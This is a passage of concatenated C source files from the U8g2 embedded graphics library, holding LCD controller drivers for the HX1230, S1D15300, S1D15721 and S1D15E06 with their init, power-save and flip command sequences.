SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_hx1230_96x68_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x020), /* power off */ U8X8_C(0x080), /* contrast setting, 0..31, set to 0 */ U8X8_C(0x0a6), /* not inverted display */ U8X8_C(0x0a4), /* normal display mode */ U8X8_C(0x0a0), /* */ U8X8_C(0x0c0), /* */ U8X8_C(0x040), /* start at scanline 0 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_hx1230_96x68_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x02f), /* power on */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_hx1230_96x68_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* All pixels on = powersave */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_hx1230_96x68_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* */ U8X8_C(0x0c0), /* */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_hx1230_96x68_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* */ U8X8_C(0x0c8), /* */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_hx1230_96x68_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hx1230_96x68_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_hx1230_96x68_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, (arg_int>>3)|0x80 ); /* 0..31 for contrast */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, x&15); u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4)); u8x8_cad_SendCmd(u8x8, 0x0b0 | ((u8x8_tile_t *)arg_ptr)->y_pos); do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; u8x8_cad_SendData(u8x8, c*8, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_hx1230_96x68_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 100, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /* sda_setup_time_ns = */ 100, /* sck_pulse_width_ns = */ 100, /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 150, /* tile_width = */ 12, /* tile_height = */ 9, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 96, /* pixel_height = */ 68 }; uint8_t u8x8_d_hx1230_96x68(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_hx1230_96x68_display_info); return 1; } return u8x8_d_hx1230_96x68_generic(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_s1d15300.c ================================================ /* u8x8_d_s1d15300.c WARNING: As of today, flip mode 1 doesn't seem to work (see issue 2063) Created as a copy of u8x8_d_st7565.c, see https://github.com/olikraus/u8g2/issues/2063 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2022, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_s1d15300_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a4), /* all pixel off, see datasheet for the s1d15300 */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15300_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe, see datasheet for the s1d15300 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15300_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a0), /* segment remap a0/a1*/ U8X8_C(0x0c0), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15300_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0a1), /* segment remap a0/a1*/ U8X8_C(0x0c8), /* c0: scan dir normal, c8: reverse */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_s1d15300_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; x += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) ); u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15))); u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* The following if condition checks the hardware limits of the st7565 controller: It is not allowed to write beyond the display limits. This is in fact an issue within flip mode. */ if ( c + x > 132u ) { c = 132u; c -= x; } do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_powersave1_seq); break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x080 | (arg_int >> 3) ); /* s1d15300 has only 5 bits for contrast */ u8x8_cad_EndTransfer(u8x8); break; #endif default: return 0; } return 1; } /*================================================*/ /* LM6023, S1D15300 controller, issue 2063 */ static const u8x8_display_info_t u8x8_s1d15300_lm6023_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 250, /* */ /* pre_chip_disable_wait_ns = */ 120, /* */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 1, /* sda_setup_time_ns = */ 200, /* */ /* sck_pulse_width_ns = */ 200, /* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */ /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 200, /* st7565 datasheet, table 24, tds8 */ /* write_pulse_width_ns = */ 200, /* st7565 datasheet, table 24, tcclw */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 8, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 4, /* pixel_width = */ 128, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_s1d15300_lm6023_init_seq[] = { #ifdef OBSOLETE U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a1), /* ADC set to reverse */ U8X8_C(0x0c0), /* common output mode */ // Flipmode //U8X8_C(0x0a0), /* ADC set to reverse */ //U8X8_C(0x0c8), /* common output mode */ U8X8_C(0x0a6), /* display normal, bit val 0: LCD pixel off. */ U8X8_C(0x0a2), /* LCD bias 1/9 */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_CA(0x0f8, 0x000), /* set booster ratio to 4x */ U8X8_C(0x025), /* set V0 voltage resistor ratio to large, issue 1678: changed from 0x23 to 0x25 */ U8X8_CA(0x081, 170), /* set contrast, contrast value NHD C12864, see issue 186, increased contrast to 180 (issue 219), reduced to 170 (issue 1678) */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x0a5), /* enter powersafe: all pixel on, issue 142 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ #endif U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0e2), /* soft reset */ U8X8_C(0x0ae), /* display off */ U8X8_C(0x040), /* set display start line to 0 */ U8X8_C(0x0a0), /* ADC set to normal */ U8X8_C(0x0a6), /* Display normal */ U8X8_C(0x0a4), /* all point normal */ U8X8_C(0x0a2), /* LCD bias 1/8 */ U8X8_C(0x0c0), /* common output mode */ U8X8_C(0x02f), /* all power control circuits on */ U8X8_C(0x090), /* set contrast */ //U8X8_C(0x0af), /* display on */ U8X8_C(0x0b0), /* set page address */ U8X8_C(0x01f), /* set column address upper */ U8X8_C(0x000), /* set column address lower */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_s1d15300_lm6023(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call common procedure first and handle messages there */ if ( u8x8_d_s1d15300_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_s1d15300_lm6023_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_lm6023_init_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15300_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; default: return 0; /* msg unknown */ } } return 1; } /*================================================*/ ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_s1d15721.c ================================================ /* u8x8_d_s1d15721.c 240x64 display https://github.com/olikraus/u8g2/issues/1473 http://datasheet.datasheetarchive.com/originals/library/Datasheets-ISS16/DSAIH000309343.pdf Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2020, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_s1d15721_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA8), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15721_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA8|1), /* display off, enter sleep mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15721_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA6), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15721_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA7), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_s1d15721_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x += u8x8->x_offset; x *= 8; u8x8_cad_SendCmd(u8x8, 0xB1); //Page Address - Row u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); y = ((u8x8_tile_t *)arg_ptr)->y_pos; u8x8_cad_SendCmd(u8x8, 0x13); /* col */ u8x8_cad_SendArg(u8x8, x); /* 4 Mar 2022: added the missing page address, issue 1802 */ u8x8_cad_SendCmd(u8x8, 0xb1); /* page address */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendCmd(u8x8, 0x1D ); //Data Write c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: break; #endif default: return 0; } return 1; } /*================================================*/ /* s1d15721 240x64 */ static const u8x8_display_info_t u8x8_s1d15721_240x64_display_info = { /* chip_enable_level = */ 0, /* low active CS */ /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* */ /* pre_chip_disable_wait_ns = */ 20, /* */ /* reset_pulse_width_ms = */ 1, /* */ /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* */ /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* */ /* write_pulse_width_ns = */ 65, /* */ /* tile_width = */ 30, /* width of 20*8=160 pixel (30*8 = 240) */ /* tile_height = */ 8, /* height 8*8 = 64*/ /* default_x_offset = */ 1, /* flipmode_x_offset = */ 1, /* pixel_width = */ 240, /* pixel_height = */ 64 }; static const uint8_t u8x8_d_s1d15721_240x64_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xC4|1), /* (5) Common Output Status (Reverse) */ U8X8_CA(0xA6, 0x01), /* (3) Display Normal Reverse (Normal) */ U8X8_CA(0xA4, 0x00), /* (4) Display All Light (Normal) */ U8X8_CAA(0x6D,0x10,0x02), /* (18) Duty Set Command */ U8X8_CA(0x66, 0x01), /* (15) Display Mode, Parameter 0 (0 = Gray Scale 1 = Binary */ U8X8_CA(0x39, 0x36), /* (16) Gray Scale Pattern Set, Pattern */ U8X8_CA(0x2B, 0x07), /* (27) LCD Drive Mode Voltage Select, Parameter */ U8X8_CA(0x81, 0x0a), /* (28) Electronic Volume, Parameter */ U8X8_CA(0x5F, 0x00), /* (24) Built-in Oscillator Frequency, Parameter */ U8X8_C(0xAA|1), /* (23) Built-in OSC On */ U8X8_CA(0x25, 0x1f), /* (25) Power Control Set, Parameter */ U8X8_CA(0x8A, 0x00), /* (6) Start Line Setup, Parameter */ U8X8_CA(0xB1, 0x00), /* (7) Page Address Set, Parameter */ U8X8_CA(0x13, 0x00), /* (8) Column Address Set */ U8X8_C(0xAE|1), /* (1) Display ON/OFF */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_s1d15721_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* checking for the flip mode cmd first */ if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } /* call the common procedure, this now leads to the effect, that the flip code is executed again */ /* maybe we should paste the common code here to avoid this */ if ( u8x8_d_s1d15721_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_s1d15721_240x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15721_240x64_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_s1d15e06.c ================================================ /* u8x8_d_s1d15e06.c https://github.com/olikraus/u8g2/pull/1190 https://github.com/olikraus/u8g2/issues/1172 Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2020, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_s1d15e06_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA8), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15e06_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA8|1), /* display off, enter sleep mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15e06_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA6), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_s1d15e06_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0xA7), /* LCD Mapping */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_s1d15e06_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 8; u8x8_cad_SendCmd(u8x8, 0xB1); //Page Address - Row u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos)); y = ((u8x8_tile_t *)arg_ptr)->y_pos; y += u8x8->x_offset; u8x8_cad_SendCmd(u8x8, 0x13); /* col */ u8x8_cad_SendArg(u8x8, x); u8x8_cad_SendCmd(u8x8, 0x1D ); //Data Write c = ((u8x8_tile_t *)arg_ptr)->cnt; c *= 8; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes */ arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; /* handled in the calling procedure case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_128x64_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq); break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: break; #endif default: return 0; } return 1; } /*================================================*/ /* s1d15e06 160x100 */ static const u8x8_display_info_t u8x8_s1d15e06_160100_display_info = { /* chip_enable_level = */ 0, /* s1d15e06 has low active CS */ /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 10, /* uc1608 datasheet, page 39, actually 0 */ /* pre_chip_disable_wait_ns = */ 20, /* uc1608 datasheet, page 39 */ /* reset_pulse_width_ms = */ 1, /* uc1608 datasheet, page 42 */ /* post_reset_wait_ms = */ 10, /* sda_setup_time_ns = */ 30, /* uc1608 datasheet, page 41 */ /* sck_pulse_width_ns = */ 65, /* half of cycle time */ /* sck_clock_hz = */ 8000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 30, /* uc1608 datasheet, page 39 */ /* write_pulse_width_ns = */ 65, /* uc1608 datasheet, page 39 */ /* tile_width = */ 20, /* width of 20*8=160 pixel */ /* tile_height = */ 13, /* default_x_offset = */ 0, /* reused as y page offset */ /* flipmode_x_offset = */ 0, /* reused as y page offset */ /* pixel_width = */ 160, /* pixel_height = */ 100 }; static const uint8_t u8x8_d_s1d15e06_160100_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ /* (Command no in datasheet) Description */ U8X8_C(0xA0|1), /* (12) Column Address Direction (Reverse) */ U8X8_C(0xC4|1), /* (5) Common Output Status (Reverse) */ U8X8_C(0x84), /* (11) Display Data In. Direction (Normal) */ U8X8_C(0xA6), /* (3) Display Normal Reverse (Normal) */ U8X8_C(0xA4), /* (4) Display All Light (Normal) */ U8X8_CAA(0x6D,0x18,0x04), /* (18) Duty Set Command, Parameter "Duty Set" 1/96 , Parameter "Start Point Set" */ U8X8_CA(0x66, 0x01), /* (15) Display Mode, Parameter 0 (4 Gray Scale) 1 (Binary) */ U8X8_CA(0x39, 0x43), /* (16) Gray Scale Pattern Set, Pattern */ U8X8_C(0xBE|1), /* (2) Display Off Mode (0 VSS / 1 Vcc) */ U8X8_CA(0x2B, 0x03), /* (27) LCD Drive Mode Voltage Select, Parameter */ U8X8_CA(0x81, 0x32), /* (28) Electronic Volume, Parameter */ U8X8_C(0xE4|1), /* (14) N-Line On Off (On) */ U8X8_CA(0x36, 0x05), /* (13) N-Line Inversion Drive, Parameter (6x4) */ U8X8_CA(0x41, 0x03), 